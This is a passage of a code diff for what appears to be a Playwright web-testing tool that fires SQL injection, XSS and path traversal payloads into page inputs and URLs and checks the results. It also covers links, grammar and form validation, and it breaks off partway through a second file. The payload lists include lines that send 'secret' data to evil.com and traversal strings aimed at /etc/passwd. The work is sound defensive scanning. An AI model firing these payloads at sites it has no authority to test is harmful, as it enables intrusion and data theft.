+                "admin'/*",
+                "' OR 1=1#",
+                "' OR 'x'='x",
+                "') OR ('1'='1",
+                "1' OR '1'='1' AND '1'='1",
+                "1' OR '1'='1' LIMIT 1 --"
+            ],
+            "xss": [
+                "<script>alert('XSS')</script>",
+                "<img src=x onerror=alert('XSS')>",
+                "javascript:alert('XSS')",
+                "<svg onload=alert('XSS')>",
+                "<iframe src=javascript:alert('XSS')></iframe>",
+                "<body onload=alert('XSS')>",
+                "<input onfocus=alert('XSS') autofocus>",
+                "<select onfocus=alert('XSS') autofocus>",
+                "<textarea onfocus=alert('XSS') autofocus>",
+                "<keygen onfocus=alert('XSS') autofocus>"
+            ],
+            "csrf": [
+                "<form action='http://evil.com/steal' method='POST'>",
+                "<img src='http://evil.com/steal?data=secret'>",
+                "<script>fetch('http://evil.com/steal', {method: 'POST', body: 'data=secret'})</script>"
+            ],
+            "path_traversal": [
+                "../../../etc/passwd",
+                "..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
+                "....//....//....//etc/passwd",
+                "..%2F..%2F..%2Fetc%2Fpasswd",
+                "..%252F..%252F..%252Fetc%252Fpasswd"
+            ]
+        }
+    
+    def _load_form_test_data(self) -> Dict[str, Dict[str, List[str]]]:
+        """Load comprehensive form test data."""
+        return {
+            "email": {
+                "valid": [
+                    "test@example.com",
+                    "user.name@domain.co.uk",
+                    "admin+test@company.org",
+                    "valid.email@subdomain.example.com"
+                ],
+                "invalid": [
+                    "invalid-email",
+                    "@domain.com",
+                    "user@",
+                    "user@domain",
+                    "user..name@domain.com",
+                    "user@.domain.com",
+                    "user@domain..com"
+                ],
+                "edge_cases": [
+                    "a@b.c",
+                    "test+tag@example.com",
+                    "user123@test-domain.com",
+                    "very.long.email.address@very.long.domain.name.com"
+                ]
+            },
+            "password": {
+                "valid": [
+                    "SecurePass123!",
+                    "MyStr0ng#Password",
+                    "ComplexP@ssw0rd",
+                    "Safe123$Password"
+                ],
+                "invalid": [
+                    "123",
+                    "password",
+                    "12345678",
+                    "qwerty",
+                    "abc123",
+                    "Password",
+                    "password123"
+                ],
+                "edge_cases": [
+                    "a",
+                    "a" * 100,
+                    " ",
+                    "password with spaces",
+                    "password\twith\ttabs"
+                ]
+            },
+            "phone": {
+                "valid": [
+                    "+1234567890",
+                    "123-456-7890",
+                    "(123) 456-7890",
+                    "+1-234-567-8900",
+                    "123.456.7890"
+                ],
+                "invalid": [
+                    "123",
+                    "abc-def-ghij",
+                    "123-456-789",
+                    "+12345678901234567890",
+                    "123 456 789"
+                ],
+                "edge_cases": [
+                    "+1-234-567-8900 ext 123",
+                    "123-456-7890 x123",
+                    "+1 (234) 567-8900"
+                ]
+            },
+            "name": {
+                "valid": [
+                    "John Doe",
+                    "Mary Jane Smith",
+                    "José María",
+                    "李小明",
+                    "Jean-Pierre"
+                ],
+                "invalid": [
+                    "123",
+                    "John123",
+                    "John@Doe",
+                    "John<script>",
+                    ""
+                ],
+                "edge_cases": [
+                    "John O'Connor",
+                    "Mary-Jane Smith",
+                    "José María de la Cruz",
+                    "X Æ A-12"
+                ]
+            },
+            "url": {
+                "valid": [
+                    "https://example.com",
+                    "http://test.org",
+                    "https://subdomain.example.com/path",
+                    "https://example.com:8080/path?query=value"
+                ],
+                "invalid": [
+                    "not-a-url",
+                    "ftp://example.com",
+                    "javascript:alert('xss')",
+                    "data:text/html,<script>alert('xss')</script>"
+                ],
+                "edge_cases": [
+                    "https://example.com/",
+                    "https://example.com/path/",
+                    "https://example.com/path?query=&value=test"
+                ]
+            }
+        }
+    
+    def _load_grammar_rules(self) -> Dict[str, List[str]]:
+        """Load grammar checking rules."""
+        return {
+            "common_errors": [
+                r"\b(its|it's)\b",  # its vs it's
+                r"\b(there|their|they're)\b",  # there/their/they're
+                r"\b(your|you're)\b",  # your vs you're
+                r"\b(loose|lose)\b",  # loose vs lose
+                r"\b(affect|effect)\b",  # affect vs effect
+                r"\b(than|then)\b",  # than vs then
+                r"\b(accept|except)\b",  # accept vs except
+                r"\b(principal|principle)\b",  # principal vs principle
+                r"\b(compliment|complement)\b",  # compliment vs complement
+                r"\b(discreet|discrete)\b"  # discreet vs discrete
+            ],
+            "punctuation": [
+                r"[.!?]\s*[a-z]",  # Missing capital after sentence
+                r"[a-z][A-Z]",  # Missing space between words
+                r"\s+",  # Multiple spaces
+                r"[^\w\s.,!?;:()\"'-]",  # Invalid characters
+            ],
+            "spelling": [
+                r"\b(recieve|recieved)\b",  # receive
+                r"\b(seperate|seperated)\b",  # separate
+                r"\b(definately|defiantly)\b",  # definitely
+                r"\b(occured|occured)\b",  # occurred
+                r"\b(neccessary|necesary)\b",  # necessary
+                r"\b(accomodate|acommodate)\b",  # accommodate
+                r"\b(embarass|embarras)\b",  # embarrass
+                r"\b(maintainance|maintenence)\b",  # maintenance
+                r"\b(priviledge|privilage)\b",  # privilege
+                r"\b(occassion|ocasion)\b"  # occasion
+            ]
+        }
+    
+    async def perform_security_testing(self, page: Page) -> List[TestResult]:
+        """Perform comprehensive security testing."""
+        results = []
+        
+        # Test for SQL Injection vulnerabilities
+        sql_results = await self._test_sql_injection(page)
+        results.extend(sql_results)
+        
+        # Test for XSS vulnerabilities
+        xss_results = await self._test_xss_vulnerabilities(page)
+        results.extend(xss_results)
+        
+        # Test for CSRF vulnerabilities
+        csrf_results = await self._test_csrf_vulnerabilities(page)
+        results.extend(csrf_results)
+        
+        # Test for Path Traversal vulnerabilities
+        path_traversal_results = await self._test_path_traversal(page)
+        results.extend(path_traversal_results)
+        
+        return results
+    
+    async def _test_sql_injection(self, page: Page) -> List[TestResult]:
+        """Test for SQL injection vulnerabilities."""
+        results = []
+        
+        try:
+            # Find all input fields
+            inputs = await page.query_selector_all('input[type="text"], input[type="email"], input[type="password"], textarea')
+            
+            for input_field in inputs:
+                for payload in self.security_payloads["sql_injection"]:
+                    try:
+                        await input_field.fill(payload)
+                        await page.keyboard.press('Enter')
+                        await page.wait_for_timeout(1000)
+                        
+                        # Check for SQL error messages
+                        content = await page.content()
+                        sql_errors = [
+                            "mysql_fetch_array",
+                            "ORA-01756",
+                            "Microsoft OLE DB Provider",
+                            "SQLServer JDBC Driver",
+                            "PostgreSQL query failed",
+                            "Warning: mysql_",
+                            "valid MySQL result",
+                            "MySqlClient.",
+                            "SQL syntax",
+                            "mysql_num_rows",
+                            "mysql_query",
+                            "mysql_fetch_assoc",
+                            "mysql_fetch_row",
+                            "mysql_numrows",
+                            "mysql_close",
+                            "mysql_connect",
+                            "mysql_create_db",
+                            "mysql_data_seek",
+                            "mysql_db_name",
+                            "mysql_db_query",
+                            "mysql_drop_db",
+                            "mysql_errno",
+                            "mysql_error",
+                            "mysql_fetch_array",
+                            "mysql_fetch_field",
+                            "mysql_fetch_lengths",
+                            "mysql_fetch_object",
+                            "mysql_fetch_result",
+                            "mysql_field_flags",
+                            "mysql_field_len",
+                            "mysql_field_name",
+                            "mysql_field_seek",
+                            "mysql_field_table",
+                            "mysql_field_type",
+                            "mysql_free_result",
+                            "mysql_get_client_info",
+                            "mysql_get_host_info",
+                            "mysql_get_proto_info",
+                            "mysql_get_server_info",
+                            "mysql_info",
+                            "mysql_insert_id",
+                            "mysql_list_dbs",
+                            "mysql_list_fields",
+                            "mysql_list_processes",
+                            "mysql_list_tables",
+                            "mysql_pconnect",
+                            "mysql_ping",
+                            "mysql_query",
+                            "mysql_real_escape_string",
+                            "mysql_result",
+                            "mysql_select_db",
+                            "mysql_stat",
+                            "mysql_tablename",
+                            "mysql_thread_id",
+                            "mysql_unbuffered_query"
+                        ]
+                        
+                        for error in sql_errors:
+                            if error.lower() in content.lower():
+                                results.append(TestResult(
+                                    test_type=TestType.SECURITY,
+                                    test_name="SQL Injection Vulnerability",
+                                    status="FAILED",
+                                    description=f"SQL injection vulnerability detected with payload: {payload}",
+                                    details={
+                                        "payload": payload,
+                                        "error_message": error,
+                                        "input_field": await input_field.get_attribute("name") or "unknown"
+                                    },
+                                    recommendations=[
+                                        "Implement parameterized queries",
+                                        "Use prepared statements",
+                                        "Validate and sanitize all input",
+                                        "Implement proper error handling"
+                                    ]
+                                ))
+                                break
+                        
+                        # Clear the input for next test
+                        await input_field.fill("")
+                        
+                    except Exception as e:
+                        logger.warning(f"Error testing SQL injection: {e}")
+                        continue
+        
+        except Exception as e:
+            logger.error(f"Error in SQL injection testing: {e}")
+        
+        return results
+    
+    async def _test_xss_vulnerabilities(self, page: Page) -> List[TestResult]:
+        """Test for XSS vulnerabilities."""
+        results = []
+        
+        try:
+            # Find all input fields
+            inputs = await page.query_selector_all('input[type="text"], input[type="email"], input[type="password"], textarea')
+            
+            for input_field in inputs:
+                for payload in self.security_payloads["xss"]:
+                    try:
+                        await input_field.fill(payload)
+                        await page.keyboard.press('Enter')
+                        await page.wait_for_timeout(1000)
+                        
+                        # Check if the payload is reflected in the page
+                        content = await page.content()
+                        if payload in content:
+                            results.append(TestResult(
+                                test_type=TestType.SECURITY,
+                                test_name="XSS Vulnerability",
+                                status="FAILED",
+                                description=f"XSS vulnerability detected with payload: {payload}",
+                                details={
+                                    "payload": payload,
+                                    "input_field": await input_field.get_attribute("name") or "unknown",
+                                    "reflected": True
+                                },
+                                recommendations=[
+                                    "Implement proper input validation",
+                                    "Use output encoding",
+                                    "Implement Content Security Policy (CSP)",
+                                    "Sanitize user input before display"
+                                ]
+                            ))
+                        
+                        # Clear the input for next test
+                        await input_field.fill("")
+                        
+                    except Exception as e:
+                        logger.warning(f"Error testing XSS: {e}")
+                        continue
+        
+        except Exception as e:
+            logger.error(f"Error in XSS testing: {e}")
+        
+        return results
+    
+    async def _test_csrf_vulnerabilities(self, page: Page) -> List[TestResult]:
+        """Test for CSRF vulnerabilities."""
+        results = []
+        
+        try:
+            # Check for CSRF tokens in forms
+            forms = await page.query_selector_all('form')
+            
+            for form in forms:
+                csrf_token = await form.query_selector('input[name*="csrf"], input[name*="token"], input[name*="_token"]')
+                
+                if not csrf_token:
+                    results.append(TestResult(
+                        test_type=TestType.SECURITY,
+                        test_name="CSRF Vulnerability",
+                        status="WARNING",
+                        description="Form lacks CSRF protection token",
+                        details={
+                            "form_action": await form.get_attribute("action") or "unknown",
+                            "csrf_token_present": False
+                        },
+                        recommendations=[
+                            "Implement CSRF tokens",
+                            "Use SameSite cookie attribute",
+                            "Implement proper CSRF protection",
+                            "Validate origin and referer headers"
+                        ]
+                    ))
+        
+        except Exception as e:
+            logger.error(f"Error in CSRF testing: {e}")
+        
+        return results
+    
+    async def _test_path_traversal(self, page: Page) -> List[TestResult]:
+        """Test for path traversal vulnerabilities."""
+        results = []
+        
+        try:
+            # Test URL parameters for path traversal
+            current_url = page.url
+            base_url = current_url.split('?')[0]
+            
+            for payload in self.security_payloads["path_traversal"]:
+                try:
+                    test_url = f"{base_url}?file={payload}"
+                    response = await page.goto(test_url)
+                    
+                    if response and response.status == 200:
+                        content = await page.content()
+                        
+                        # Check for sensitive file content
+                        sensitive_patterns = [
+                            "root:",
+                            "daemon:",
+                            "bin:",
+                            "sys:",
+                            "adm:",
+                            "tty:",
+                            "disk:",
+                            "lp:",
+                            "mail:",
+                            "news:",
+                            "uucp:",
+                            "man:",
+                            "proxy:",
+                            "kmem:",
+                            "dialout:",
+                            "fax:",
+                            "voice:",
+                            "cdrom:",
+                            "floppy:",
+                            "tape:",
+                            "sudo:",
+                            "audio:",
+                            "dip:",
+                            "www-data:",
+                            "backup:",
+                            "operator:",
+                            "list:",
+                            "irc:",
+                            "src:",
+                            "gnats:",
+                            "shadow:",
+                            "utmp:",
+                            "video:",
+                            "sasl:",
+                            "plugdev:",
+                            "staff:",
+                            "games:",
+                            "users:",
+                            "nogroup:",
+                            "systemd-journal:",
+                            "systemd-network:",
+                            "systemd-resolve:",
+                            "systemd-timesync:",
+                            "messagebus:",
+                            "syslog:",
+                            "_apt:",
+                            "tss:",
+                            "uuidd:",
+                            "tcpdump:",
+                            "tty:",
+                            "landscape:",
+                            "pollinate:",
+                            "sshd:",
+                            "systemd-coredump:",
+                            "ubuntu:",
+                            "lxd:",
+                            "dnsmasq:",
+                            "libvirt-qemu:",
+                            "libvirt-dnsmasq:",
+                            "Debian-exim:",
+                            "statd:",
+                            "nobody:",
+                            "_rpc:",
+                            "colord:",
+                            "geoclue:",
+                            "pulse:",
+                            "rtkit:",
+                            "saned:",
+                            "usbmux:",
+                            "whoopsie:",
+                            "kernoops:",
+                            "speech-dispatcher:",
+                            "avahi:",
+                            "samba:",
+                            "lightdm:",
+                            "nvidia-persistenced:",
+                            "cups-pk-helper:",
+                            "hplip:",
+                            "gdm:",
+                            "gnome-initial-setup:",
+                            "geoclue:",
+                            "pulse:",
+                            "rtkit:",
+                            "saned:",
+                            "usbmux:",
+                            "whoopsie:",
+                            "kernoops:",
+                            "speech-dispatcher:",
+                            "avahi:",
+                            "samba:",
+                            "lightdm:",
+                            "nvidia-persistenced:",
+                            "cups-pk-helper:",
+                            "hplip:",
+                            "gdm:",
+                            "gnome-initial-setup:"
+                        ]
+                        
+                        for pattern in sensitive_patterns:
+                            if pattern in content:
+                                results.append(TestResult(
+                                    test_type=TestType.SECURITY,
+                                    test_name="Path Traversal Vulnerability",
+                                    status="FAILED",
+                                    description=f"Path traversal vulnerability detected with payload: {payload}",
+                                    details={
+                                        "payload": payload,
+                                        "test_url": test_url,
+                                        "sensitive_content": pattern
+                                    },
+                                    recommendations=[
+                                        "Implement proper input validation",
+                                        "Use whitelist approach for file access",
+                                        "Implement proper file path sanitization",
+                                        "Use chroot or similar isolation techniques"
+                                    ]
+                                ))
+                                break
+                    
+                    await page.goto(current_url)  # Return to original page
+                    
+                except Exception as e:
+                    logger.warning(f"Error testing path traversal: {e}")
+                    continue
+        
+        except Exception as e:
+            logger.error(f"Error in path traversal testing: {e}")
+        
+        return results
+    
+    async def check_broken_urls(self, page: Page) -> List[TestResult]:
+        """Check for broken URLs and links."""
+        results = []
+        
+        try:
+            # Find all links on the page
+            links = await page.query_selector_all('a[href]')
+            
+            for link in links:
+                href = await link.get_attribute('href')
+                if href:
+                    # Convert relative URLs to absolute
+                    if href.startswith('/'):
+                        base_url = f"{page.url.split('/')[0]}//{page.url.split('/')[2]}"
+                        href = f"{base_url}{href}"
+                    elif href.startswith('#'):
+                        continue  # Skip anchor links
+                    elif not href.startswith('http'):
+                        continue  # Skip non-HTTP links
+                    
+                    try:
+                        response = requests.get(href, timeout=10, allow_redirects=True)
+                        
+                        if response.status_code >= 400:
+                            results.append(TestResult(
+                                test_type=TestType.BROKEN_URL,
+                                test_name="Broken URL",
+                                status="FAILED",
+                                description=f"Broken URL found: {href}",
+                                details={
+                                    "url": href,
+                                    "status_code": response.status_code,
+                                    "link_text": await link.inner_text() or "No text"
+                                },
+                                recommendations=[
+                                    "Fix the broken URL",
+                                    "Update the link to point to correct page",
+                                    "Implement proper error handling for broken links"
+                                ]
+                            ))
+                        elif response.status_code >= 300:
+                            results.append(TestResult(
+                                test_type=TestType.BROKEN_URL,
+                                test_name="Redirect URL",
+                                status="WARNING",
+                                description=f"URL redirects: {href}",
+                                details={
+                                    "url": href,
+                                    "status_code": response.status_code,
+                                    "redirect_url": response.url,
+                                    "link_text": await link.inner_text() or "No text"
+                                },
+                                recommendations=[
+                                    "Consider updating the link to point directly to final destination",
+                                    "Ensure redirects are working correctly"
+                                ]
+                            ))
+                    
+                    except requests.exceptions.RequestException as e:
+                        results.append(TestResult(
+                            test_type=TestType.BROKEN_URL,
+                            test_name="Unreachable URL",
+                            status="FAILED",
+                            description=f"Unreachable URL: {href}",
+                            details={
+                                "url": href,
+                                "error": str(e),
+                                "link_text": await link.inner_text() or "No text"
+                            },
+                            recommendations=[
+                                "Check if the URL is correct",
+                                "Verify the server is accessible",
+                                "Implement proper error handling"
+                            ]
+                        ))
+        
+        except Exception as e:
+            logger.error(f"Error checking broken URLs: {e}")
+        
+        return results
+    
+    async def check_grammatical_errors(self, page: Page) -> List[TestResult]:
+        """Check for grammatical errors in text content."""
+        results = []
+        
+        try:
+            # Get all text content from the page
+            text_elements = await page.query_selector_all('p, h1, h2, h3, h4, h5, h6, span, div, li, td, th')
+            
+            for element in text_elements:
+                text = await element.inner_text()
+                if text and len(text.strip()) > 10:  # Only check meaningful text
+                    
+                    # Check for common grammar errors
+                    for rule_name, patterns in self.grammar_rules.items():
+                        for pattern in patterns:
+                            matches = re.findall(pattern, text, re.IGNORECASE)
+                            if matches:
+                                results.append(TestResult(
+                                    test_type=TestType.GRAMMAR,
+                                    test_name=f"Grammar Issue - {rule_name}",
+                                    status="WARNING",
+                                    description=f"Potential grammar issue found: {matches[0]}",
+                                    details={
+                                        "text": text[:100] + "..." if len(text) > 100 else text,
+                                        "rule_type": rule_name,
+                                        "pattern": pattern,
+                                        "matches": matches,
+                                        "element_tag": await element.evaluate("el => el.tagName")
+                                    },
+                                    recommendations=[
+                                        "Review the text for grammar errors",
+                                        "Use a grammar checking tool",
+                                        "Have content reviewed by a native speaker"
+                                    ]
+                                ))
+        
+        except Exception as e:
+            logger.error(f"Error checking grammatical errors: {e}")
+        
+        return results
+    
+    async def intelligent_form_testing(self, page: Page) -> List[TestResult]:
+        """Perform intelligent form testing with various data types."""
+        results = []
+        
+        try:
+            # Find all forms on the page
+            forms = await page.query_selector_all('form')
+            
+            for form in forms:
+                form_results = await self._test_form_intelligently(form, page)
+                results.extend(form_results)
+        
+        except Exception as e:
+            logger.error(f"Error in intelligent form testing: {e}")
+        
+        return results
+    
+    async def _test_form_intelligently(self, form: Locator, page: Page) -> List[TestResult]:
+        """Test a form intelligently with various data types."""
+        results = []
+        
+        try:
+            # Get all input fields in the form
+            inputs = await form.query_selector_all('input, textarea, select')
+            
+            # Analyze each input field
+            for input_field in inputs:
+                input_type = await input_field.get_attribute('type') or 'text'
+                input_name = await input_field.get_attribute('name') or 'unknown'
+                input_id = await input_field.get_attribute('id') or 'unknown'
+                
+                # Determine the field type based on attributes and context
+                field_type = self._determine_field_type(input_type, input_name, input_id)
+                
+                # Test with appropriate data
+                test_results = await self._test_field_with_data(input_field, field_type, page)
+                results.extend(test_results)
+        
+        except Exception as e:
+            logger.error(f"Error testing form intelligently: {e}")
+        
+        return results
+    
+    def _determine_field_type(self, input_type: str, input_name: str, input_id: str) -> str:
+        """Determine the field type based on attributes."""
+        field_identifier = f"{input_type} {input_name} {input_id}".lower()
+        
+        if 'email' in field_identifier:
+            return 'email'
+        elif 'password' in field_identifier:
+            return 'password'
+        elif 'phone' in field_identifier or 'tel' in field_identifier:
+            return 'phone'
+        elif 'name' in field_identifier and 'first' in field_identifier:
+            return 'first_name'
+        elif 'name' in field_identifier and 'last' in field_identifier:
+            return 'last_name'
+        elif 'name' in field_identifier:
+            return 'name'
+        elif 'url' in field_identifier or 'website' in field_identifier:
+            return 'url'
+        elif 'date' in field_identifier:
+            return 'date'
+        elif 'number' in field_identifier or 'age' in field_identifier:
+            return 'number'
+        elif 'message' in field_identifier or 'comment' in field_identifier:
+            return 'message'
+        else:
+            return 'text'
+    
+    async def _test_field_with_data(self, input_field: Locator, field_type: str, page: Page) -> List[TestResult]:
+        """Test a field with appropriate test data."""
+        results = []
+        
+        if field_type in self.form_test_data:
+            test_data = self.form_test_data[field_type]
+            
+            # Test with valid data
+            for valid_data in test_data['valid']:
+                try:
+                    await input_field.fill(valid_data)
+                    await page.keyboard.press('Tab')  # Trigger validation
+                    await page.wait_for_timeout(500)
+                    
+                    # Check for validation errors
+                    error_element = await page.query_selector('.error, .invalid, [class*="error"], [class*="invalid"]')
+                    if error_element:
+                        results.append(TestResult(
+                            test_type=TestType.FORM_TESTING,
+                            test_name=f"Form Validation - Valid Data Rejected",
+                            status="FAILED",
+                            description=f"Valid {field_type} data rejected: {valid_data}",
+                            details={
+                                "field_type": field_type,
+                                "test_data": valid_data,
+                                "error_message": await error_element.inner_text()
+                            },
+                            recommendations=[
+                                "Review form validation logic",
+                                "Ensure valid data is accepted",
+                                "Test with various valid formats"
+                            ]
+                        ))
+                
+                except Exception as e:
+                    logger.warning(f"Error testing valid data: {e}")
+            
+            # Test with invalid data
+            for invalid_data in test_data['invalid']:
+                try:
+                    await input_field.fill(invalid_data)
+                    await page.keyboard.press('Tab')  # Trigger validation
+                    await page.wait_for_timeout(500)
+                    
+                    # Check for validation errors
+                    error_element = await page.query_selector('.error, .invalid, [class*="error"], [class*="invalid"]')
+                    if not error_element:
+                        results.append(TestResult(
+                            test_type=TestType.FORM_TESTING,
+                            test_name=f"Form Validation - Invalid Data Accepted",
+                            status="FAILED",
+                            description=f"Invalid {field_type} data accepted: {invalid_data}",
+                            details={
+                                "field_type": field_type,
+                                "test_data": invalid_data
+                            },
+                            recommendations=[
+                                "Implement proper input validation",
+                                "Reject invalid data formats",
+                                "Show appropriate error messages"
+                            ]
+                        ))
+                
+                except Exception as e:
+                    logger.warning(f"Error testing invalid data: {e}")
+            
+            # Test with edge cases
+            for edge_data in test_data['edge_cases']:
+                try:
+                    await input_field.fill(edge_data)
+                    await page.keyboard.press('Tab')  # Trigger validation
+                    await page.wait_for_timeout(500)
+                    
+                    # Check for validation errors
+                    error_element = await page.query_selector('.error, .invalid, [class*="error"], [class*="invalid"]')
+                    if error_element:
+                        results.append(TestResult(
+                            test_type=TestType.FORM_TESTING,
+                            test_name=f"Form Validation - Edge Case Rejected",
+                            status="WARNING",
+                            description=f"Edge case {field_type} data rejected: {edge_data}",
+                            details={
+                                "field_type": field_type,
+                                "test_data": edge_data,
+                                "error_message": await error_element.inner_text()
+                            },
+                            recommendations=[
+                                "Consider accepting edge case data",
+                                "Review validation rules for edge cases",
+                                "Document expected behavior for edge cases"
+                            ]
+                        ))
+                
+                except Exception as e:
+                    logger.warning(f"Error testing edge case data: {e}")
+        
+        return results
+    
+    async def ai_thinking_analysis(self, page: Page) -> List[TestResult]:
+        """AI thinking analysis to determine what to test next."""
+        results = []
+        
+        try:
+            # Analyze page content to determine testing strategy
+            page_content = await page.content()
+            
+            # Check for forms
+            forms = await page.query_selector_all('form')
+            if forms:
+                results.append(TestResult(
+                    test_type=TestType.FUNCTIONALITY,
+                    test_name="AI Analysis - Forms Detected",
+                    status="INFO",
+                    description=f"Found {len(forms)} form(s) on the page",
+                    details={
+                        "forms_count": len(forms),
+                        "recommendation": "Perform comprehensive form testing"
+                    },
+                    recommendations=[
+                        "Test all form fields with valid and invalid data",
+                        "Check form validation and error handling",
+                        "Test form submission and success scenarios"
+                    ]
+                ))
+            
+            # Check for links
+            links = await page.query_selector_all('a[href]')
+            if links:
+                results.append(TestResult(
+                    test_type=TestType.FUNCTIONALITY,
+                    test_name="AI Analysis - Links Detected",
+                    status="INFO",
+                    description=f"Found {len(links)} link(s) on the page",
+                    details={
+                        "links_count": len(links),
+                        "recommendation": "Perform link testing"
+                    },
+                    recommendations=[
+                        "Check for broken links",
+                        "Test external link security",
+                        "Verify link destinations"
+                    ]
+                ))
+            
+            # Check for input fields
+            inputs = await page.query_selector_all('input, textarea, select')
+            if inputs:
+                results.append(TestResult(
+                    test_type=TestType.SECURITY,
+                    test_name="AI Analysis - Input Fields Detected",
+                    status="INFO",
+                    description=f"Found {len(inputs)} input field(s) on the page",
+                    details={
+                        "inputs_count": len(inputs),
+                        "recommendation": "Perform security testing"
+                    },
+                    recommendations=[
+                        "Test for SQL injection vulnerabilities",
+                        "Test for XSS vulnerabilities",
+                        "Test input validation and sanitization"
+                    ]
+                ))
+            
+            # Check for JavaScript
+            scripts = await page.query_selector_all('script')
+            if scripts:
+                results.append(TestResult(
+                    test_type=TestType.SECURITY,
+                    test_name="AI Analysis - JavaScript Detected",
+                    status="INFO",
+                    description=f"Found {len(scripts)} script(s) on the page",
+                    details={
+                        "scripts_count": len(scripts),
+                        "recommendation": "Perform JavaScript security testing"
+                    },
+                    recommendations=[
+                        "Check for client-side vulnerabilities",
+                        "Test for DOM-based XSS",
+                        "Verify JavaScript security practices"
+                    ]
+                ))
+        
+        except Exception as e:
+            logger.error(f"Error in AI thinking analysis: {e}")
+        
+        return results
+    
+    async def run_comprehensive_testing(self, page: Page) -> List[TestResult]:
+        """Run comprehensive testing with AI thinking."""
+        all_results = []
+        
+        # AI thinking analysis
+        ai_results = await self.ai_thinking_analysis(page)
+        all_results.extend(ai_results)
+        
+        # Security testing
+        security_results = await self.perform_security_testing(page)
+        all_results.extend(security_results)
+        
+        # Broken URL checking
+        url_results = await self.check_broken_urls(page)
+        all_results.extend(url_results)
+        
+        # Grammar checking
+        grammar_results = await self.check_grammatical_errors(page)
+        all_results.extend(grammar_results)
+        
+        # Intelligent form testing
+        form_results = await self.intelligent_form_testing(page)
+        all_results.extend(form_results)
+        
+        return all_results
+
+
+# Global instance
+advanced_testing_engine = AdvancedTestingEngine()

src/utils/ai_thinking_engine.py

@@ -0,0 +1,437 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - AI Thinking Engine
+==============================================================
+
+Advanced AI-powered decision making and adaptive testing intelligence.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import asyncio
+import logging
+import json
+from typing import Dict, List, Optional, Any, Tuple
+from dataclasses import dataclass
+from datetime import datetime
+import random
+
+from playwright.async_api import Page, Locator
+from langchain_core.language_models.chat_models import BaseChatModel
+from langchain_core.messages import HumanMessage, SystemMessage
+
+logger = logging.getLogger(__name__)
+
+@dataclass
+class ThinkingStep:
+    """Represents a step in the AI thinking process."""
+    step_number: int
+    thought: str
+    action: str
+    reasoning: str
+    confidence: float
+    timestamp: datetime
+
+@dataclass
+class TestStrategy:
+    """Represents a testing strategy determined by AI."""
+    approach: str
+    priority_order: List[str]
+    focus_areas: List[str]
+    risk_assessment: Dict[str, float]
+    estimated_duration: int  # minutes
+    reasoning: str
+
+class AIThinkingEngine:
+    """Advanced AI thinking engine for intelligent testing decisions."""
+    
+    def __init__(self, llm: BaseChatModel, page: Page):
+        self.llm = llm
+        self.page = page
+        self.thinking_history: List[ThinkingStep] = []
+        self.context_memory: Dict[str, Any] = {}
+        self.learning_patterns: Dict[str, List[Any]] = {}
+        
+    async def analyze_page_intelligence(self) -> Dict[str, Any]:
+        """Perform intelligent analysis of the current page."""
+        logger.info("🧠 Starting intelligent page analysis...")
+        
+        analysis = {
+            "page_type": await self._determine_page_type(),
+            "form_complexity": await self._assess_form_complexity(),
+            "security_indicators": await self._detect_security_indicators(),
+            "user_flow_analysis": await self._analyze_user_flow(),
+            "potential_issues": await self._identify_potential_issues(),
+            "testing_opportunities": await self._identify_testing_opportunities()
+        }
+        
+        logger.info(f"✅ Page analysis complete: {analysis['page_type']} page with {analysis['form_complexity']} complexity")
+        return analysis
+
+    async def _determine_page_type(self) -> str:
+        """Determine the type of page (login, registration, checkout, etc.)."""
+        try:
+            page_content = await self.page.content()
+            page_text = page_content.lower()
+            
+            # Check for specific page indicators
+            if any(keyword in page_text for keyword in ["login", "sign in", "log in", "authenticate"]):
+                return "login"
+            elif any(keyword in page_text for keyword in ["register", "sign up", "create account", "join"]):
+                return "registration"
+            elif any(keyword in page_text for keyword in ["checkout", "payment", "billing", "purchase"]):
+                return "checkout"
+            elif any(keyword in page_text for keyword in ["contact", "message", "inquiry", "support"]):
+                return "contact"
+            elif any(keyword in page_text for keyword in ["search", "find", "look for"]):
+                return "search"
+            elif any(keyword in page_text for keyword in ["profile", "account", "settings", "preferences"]):
+                return "profile"
+            else:
+                return "general"
+                
+        except Exception as e:
+            logger.error(f"Error determining page type: {e}")
+            return "unknown"
+
+    async def _assess_form_complexity(self) -> str:
+        """Assess the complexity of forms on the page."""
+        try:
+            form_count = await self.page.locator("form").count()
+            input_count = await self.page.locator("input").count()
+            textarea_count = await self.page.locator("textarea").count()
+            select_count = await self.page.locator("select").count()
+            
+            total_fields = input_count + textarea_count + select_count
+            
+            if total_fields == 0:
+                return "none"
+            elif total_fields <= 3:
+                return "simple"
+            elif total_fields <= 7:
+                return "moderate"
+            elif total_fields <= 15:
+                return "complex"
+            else:
+                return "very_complex"
+                
+        except Exception as e:
+            logger.error(f"Error assessing form complexity: {e}")
+            return "unknown"
+
+    async def _detect_security_indicators(self) -> List[str]:
+        """Detect security-related indicators on the page."""
+        security_indicators = []
+        
+        try:
+            page_content = await self.page.content()
+            
+            # Check for security-related attributes
+            if 'data-security' in page_content:
+                security_indicators.append("custom_security_attributes")
+            
+            if 'csrf' in page_content.lower():
+                security_indicators.append("csrf_protection")
+            
+            if 'captcha' in page_content.lower():
+                security_indicators.append("captcha_protection")
+            
+            if 'recaptcha' in page_content.lower():
+                security_indicators.append("recaptcha_protection")
+            
+            # Check for HTTPS
+            if self.page.url.startswith('https://'):
+                security_indicators.append("https_enabled")
+            
+            # Check for security headers (would need to check response headers)
+            security_indicators.append("basic_web_security")
+            
+        except Exception as e:
+            logger.error(f"Error detecting security indicators: {e}")
+        
+        return security_indicators
+
+    async def _analyze_user_flow(self) -> Dict[str, Any]:
+        """Analyze the user flow and navigation patterns."""
+        try:
+            # Find navigation elements
+            nav_links = await self.page.locator("nav a, .navigation a, .menu a").count()
+            buttons = await self.page.locator("button").count()
+            forms = await self.page.locator("form").count()
+            
+            # Analyze form submission patterns
+            submit_buttons = await self.page.locator("input[type='submit'], button[type='submit']").count()
+            
+            return {
+                "navigation_links": nav_links,
+                "interactive_buttons": buttons,
+                "forms": forms,
+                "submit_buttons": submit_buttons,
+                "user_journey_complexity": "high" if nav_links > 10 or forms > 3 else "medium" if nav_links > 5 or forms > 1 else "low"
+            }
+            
+        except Exception as e:
+            logger.error(f"Error analyzing user flow: {e}")
+            return {"error": str(e)}
+
+    async def _identify_potential_issues(self) -> List[str]:
+        """Identify potential issues or vulnerabilities."""
+        issues = []
+        
+        try:
